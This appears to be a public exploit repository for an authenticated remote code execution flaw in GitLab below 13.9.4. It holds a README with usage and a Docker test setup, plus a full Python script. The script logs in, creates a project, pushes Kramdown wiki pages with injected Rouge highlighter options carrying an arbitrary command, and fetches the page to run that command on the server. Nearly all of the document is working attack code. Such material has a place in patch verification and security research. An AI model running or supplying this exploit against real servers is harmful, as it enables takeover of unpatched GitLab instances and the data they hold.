├── README.md └── exploit.py /README.md: -------------------------------------------------------------------------------- 1 | # GitLab-Wiki-RCE 2 | RCE Exploit for Gitlab < 13.9.4 3 | 4 | - RCE via unsafe inline Kramdown options when rendering certain Wiki pages 5 | - Allows any user with push access to a wiki to execute arbitrary ruby code. 6 | 7 | ### Usage 8 | ```bash 9 | python3 exploit.py -u root -p password -c "commandhere" -t "http://gitlab.example.com" 10 | ``` 11 | 12 | ### Environment 13 | - Tested on Gitlab 13.9.1 CE 14 | - Building your own test environment using docker : 15 | ``` 16 | export GITLAB_HOME=/srv/gitlab 17 | 18 | sudo docker run --detach \ 19 | --hostname gitlab.example.com \ 20 | --publish 443:443 --publish 80:80 \ 21 | --name gitlab \ 22 | --restart always \ 23 | --volume $GITLAB_HOME/config:/etc/gitlab \ 24 | --volume $GITLAB_HOME/logs:/var/log/gitlab \ 25 | --volume $GITLAB_HOME/data:/var/opt/gitlab \ 26 | gitlab/gitlab-ce:13.9.1-ce.0 27 | ``` 28 | 29 | ### Credits 30 | - https://hackerone.com/reports/1125425 ( vakzz ) 31 | - Also referred some code from here [here](https://github.com/ctrlsam/GitLab-11.4.7-RCE) 32 | 33 | ### Exploit-db 34 | - https://www.exploit-db.com/exploits/49944 35 | -------------------------------------------------------------------------------- /exploit.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3 2 | 3 | import requests 4 | from bs4 import BeautifulSoup 5 | import random 6 | import os 7 | import argparse 8 | 9 | parser = argparse.ArgumentParser(description='GitLab < 13.9.4 RCE') 10 | parser.add_argument('-u', help='Username', required=True) 11 | parser.add_argument('-p', help='Password', required=True) 12 | parser.add_argument('-c', help='Command', required=True) 13 | parser.add_argument('-t', help='URL (Eg: http://gitlab.example.com)', required=True) 14 | args = parser.parse_args() 15 | 16 | username = args.u 17 | password = args.p 18 | gitlab_url = args.t 19 | command = args.c 20 | 21 | session = requests.Session() 22 | 23 | # Authenticating 24 | print("[1] Authenticating") 25 | r = session.get(gitlab_url + "/users/sign_in") 26 | soup = BeautifulSoup(r.text, features="lxml") 27 | token = soup.findAll('meta')[16].get("content") 28 | 29 | login_form = { 30 | "authenticity_token": token, 31 | "user[login]": username, 32 | "user[password]": password, 33 | "user[remember_me]": "0" 34 | } 35 | r = session.post(f"{gitlab_url}/users/sign_in", data=login_form) 36 | 37 | if r.status_code != 200: 38 | exit(f"Login Failed:{r.text}") 39 | else: 40 | print("Successfully Authenticated") 41 | 42 | # Creating Project 43 | print("[2] Creating Project") 44 | r = session.get(f"{gitlab_url}/projects/new") 45 | soup = BeautifulSoup(r.text, features="lxml") 46 | 47 | project_token = soup.findAll('meta')[16].get("content") 48 | project_token = project_token.replace("==", "%3D%3D") 49 | project_token = project_token.replace("+", "%2B") 50 | project_name = f'project{random.randrange(1, 10000)}' 51 | cookies = {'sidebar_collapsed': 'false','event_filter': 'all','hide_auto_devops_implicitly_enabled_banner_1': 'false','_gitlab_session': session.cookies['_gitlab_session'],} 52 | 53 | payload=f"utf8=%E2%9C%93&authenticity_token={project_token}&project%5Bci_cd_only%5D=false&project%5Bname%5D={project_name}&project%5Bpath%5D={project_name}&project%5Bdescription%5D=&project%5Bvisibility_level%5D=20" 54 | 55 | r = session.post(gitlab_url+'/projects', data=payload, cookies=cookies, verify=False) 56 | 57 | if "The change you requested was rejected." in r.text: 58 | exit('Exploit failed, check input params') 59 | else: 60 | print("Successfully created project") 61 | 62 | 63 | # Cloning Wiki and Writing Files 64 | print("[3] Pushing files to the project wiki") 65 | wiki_url = f'{gitlab_url}/{username}/{project_name}.wiki.git' 66 | os.system(f"git clone {wiki_url} /tmp/project") 67 | 68 | f1 = open("/tmp/project/load1.rmd","w") 69 | f1.write('{::options syntax_highlighter="rouge" syntax_highlighter_opts="{formatter: Redis, driver: ../get_process_mem\}" /}\n\n') 70 | f1.write('~~~ ruby\n') 71 | f1.write(' def what?\n') 72 | f1.write(' 42\n') 73 | f1.write(' end\n') 74 | f1.write('~~~\n') 75 | f1.close() 76 | 77 | f2 = open("/tmp/project/load2.rmd","w") 78 | temp='{::options syntax_highlighter="rouge" syntax_highlighter_opts="{a: \'`'+command+'`\', formatter: GetProcessMem\}" /}\n\n' 79 | f2.write(temp) 80 | f2.write('~~~ ruby\n') 81 | f2.write(' def what?\n') 82 | f2.write(' 42\n') 83 | f2.write(' end\n') 84 | f2.write('~~~\n') 85 | f2.close() 86 | 87 | # It will prompt for user and pass. Enter it. 88 | os.system('cd /tmp/project && git add -A . && git commit -m "Commit69" && git push') 89 | 90 | print("Succesfully Pushed") 91 | 92 | # Cleaning Up 93 | os.system('rm -rf /tmp/project') 94 | 95 | # Triggering RCE 96 | 97 | print("[4] Triggering RCE") 98 | trigger_url=f"{gitlab_url}/{username}/{project_name}/-/wikis/load2" 99 | 100 | r = session.get(trigger_url, cookies=cookies, verify=False) 101 | 102 | --------------------------------------------------------------------------------